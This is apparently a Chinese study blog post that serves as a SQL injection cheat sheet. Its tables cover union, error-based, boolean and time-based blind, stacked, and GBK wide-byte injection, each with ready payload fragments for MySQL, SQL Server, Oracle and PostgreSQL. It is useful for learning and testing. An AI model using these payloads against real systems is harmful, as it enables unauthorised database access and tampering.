新人博客,已发布文章会持续更新,有短缺请见谅,会尽快补齐,欢迎评论区提出,谢谢
一、联合查询注入(UNION 注入)
联合查询注入是最常见的注入方式,核心是使用UNION SELECT将攻击者构造的查询结果拼接到原查询结果中。
1.1 核心函数
| 函数 | 用途 | 示例 |
|---|---|---|
UNION SELECT | 合并两个查询结果集 | UNION SELECT 1,2,3 |
ORDER BY | 判断原查询的字段数 | ORDER BY 1--+ |
LIMIT | 限制返回行数 | LIMIT 0,1 |
GROUP_CONCAT() | 将多行结果拼接成一行(MySQL) | SELECT GROUP_CONCAT(table_name) |
CONCAT() | 拼接字符串 | SELECT CONCAT(username,0x3a,password) |
CONCAT_WS() | 使用分隔符拼接字符串 | SELECT CONCAT_WS('~',a,b) |
DATABASE() | 获取当前数据库名 | UNION SELECT DATABASE() |
USER() | 获取当前用户 | UNION SELECT USER() |
VERSION() | 获取数据库版本 | UNION SELECT VERSION() |
二、报错注入
报错注入利用数据库错误信息回显敏感数据,适用于页面有错误回显但无正常回显位的场景。
2.1 MySQL 报错函数
| 函数 | 用途 | 示例 |
|---|---|---|
updatexml() | XML 文档更新函数,参数错误时报错泄密 | updatexml(1,concat(0x7e,database()),1) |
extractvalue() | XML 值提取函数,语法错误时报错 | extractvalue(1,concat(0x7e,(SELECT table_name))) |
floor() | 向下取整 + group by 产生主键冲突报错 | SELECT count(*),CONCAT(database(),floor(rand(0)*2))x FROM users GROUP BY x |
exp() | 指数函数,参数过大时报错 | exp(~(SELECT * FROM (SELECT user())a)) |
NAME_CONST() | 重复列名导致报错 | SELECT * FROM (SELECT NAME_CONST(version(),1),NAME_CONST(version(),1))x |
BIGINT 溢出 | 利用 ~0 与子查询拼接产生大数据溢出报错 | SELECT !(SELECT * FROM (SELECT user())x)-~0 |
2.2 SQL Server 报错函数
| 函数 | 用途 | 示例 |
|---|---|---|
convert() | 类型转换,将查询结果转为 int 报错 | convert(int,@@version) |
CTXSYS.DRITHSX.SN() | Oracle 报错注入函数 | CTXSYS.DRITHSX.SN(user,(SELECT banner FROM v$version)) |
三、布尔盲注
页面没有回显和报错,但根据 SQL 语句正确与否会返回不同页面状态时,使用布尔盲注。
3.1 核心函数
| 函数 | 用途 | 示例 |
|---|---|---|
substr() | 截取字符串(MySQL) | substr(database(),1,1) |
substring() | 截取字符串(通用) | substring((SELECT table_name),1,1) |
mid() | 截取字符串(MySQL) | mid(database(),1,1) |
left() | 从左侧截取 n 个字符 | left(database(),1) |
right() | 从右侧截取 n 个字符 | right(database(),1) |
ascii() | 返回字符的 ASCII 值 | ascii(substr(database(),1,1)) |
ord() | 等同于 ascii() | ord(substr(database(),1,1)) |
length() | 返回字符串长度 | length(database()) |
if() | 三目条件判断 | if(1=1,sleep(1),0) |
strcmp() | 字符串比较 | strcmp(left(database(),1),'a') |
四、时间盲注
页面没有任何回显差异时,通过延时函数判断注入结果。
4.1 核心函数
| 函数 | 适用数据库 | 示例 |
|---|---|---|
sleep() | MySQL | SELECT if(ascii(substr(database(),1,1))>100,sleep(3),0) |
benchmark() | MySQL | SELECT benchmark(50000000,md5('test')) |
WAITFOR DELAY | SQL Server | WAITFOR DELAY '0:0:3' |
DBMS_LOCK.SLEEP() | Oracle | DBMS_LOCK.SLEEP(3) |
pg_sleep() | PostgreSQL | SELECT pg_sleep(3) |
GET_LOCK() | MySQL | SELECT GET_LOCK('a',3) |
heavy query | 通用 | SELECT count(*) FROM information_schema.columns A, information_schema.columns B |
五、堆叠注入
支持一次执行多条 SQL 语句时,可以使用堆叠注入。
5.1 核心函数
| 函数 / 语法 | 用途 | 示例 |
|---|---|---|
; | 语句分隔符,执行多条 SQL | 1';INSERT INTO users VALUES('hacker','pass');--+ |
HANDLER | MySQL 中直接读取表数据(无需 SELECT 权限) | HANDLER table_name OPEN; HANDLER table_name READ FIRST; |
PREPARE | 准备语句,动态执行 SQL | SET @sql=CONCAT('SEL','ECT user()');PREPARE st FROM @sql;EXECUTE st; |
六、宽字节注入
当数据库编码为 GBK 时,利用反斜杠\与后续字符组合成 GBK 汉字,绕开转义。
6.1 核心函数
| 函数 | 用途 | 示例 |
|---|---|---|
%df | 结合\'形成 GBK 汉字,吃掉转义符 | ?id=1%df' UNION SELECT 1,2,3--+ |
SET NAMES | 设置字符集(理解宽字节成因) | SET NAMES 'gbk' |